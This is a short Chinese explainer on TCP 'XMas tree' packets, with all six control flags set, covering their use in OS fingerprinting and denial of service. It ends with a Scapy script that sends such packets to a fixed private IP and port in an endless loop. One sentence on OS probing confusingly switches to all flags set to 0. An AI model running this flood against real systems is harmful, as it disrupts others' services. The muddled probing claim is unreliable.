简介
TCP所有标志位被设置为1的数据包被称为圣诞树数据包(XMas Tree packet),之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。
标志位介绍
TCP报文格式:
控制标志(Control Bits)共6个bit位,分别为URG、ACK、PSH、RST、SYN、FIN。
标志位 | 说明 |
---|---|
URG | 高优先级数据包 |
ACK | 确认连接 |
PSH | 要求对方数据尽快达到应用层 |
RST | 重置或拒绝连接 |
SYN | 连接请求(SYN=1)或连接接受报文(SYN=1,ACK=1) |
FIN | 数据发送完毕,请求释放连接 |
当你发送了这样一个数据包之后,不同的操作系统对其的响应方式是不一样的,因此可以作为目标系统探测的一种方式(6个标志全部为0 ,如果端口是关闭的,Windows机器将应答一个RST | ACK消息,而对于一个开放端口的Linux和UNIX机器则不会应答。)。
此外,通常来说,目标系统需要对这个数据包进行更复杂的处理(毕竟点的灯比较多),相比一般的包处理耗费的资源会更多,因此也可以用作DOS攻击。
附Poc:
from scapy.all import *
pkt_tree=IP(dst='192.168.1.2')/TCP(dport=8081,flags=0x03f)
while True:
send(pkt_tree)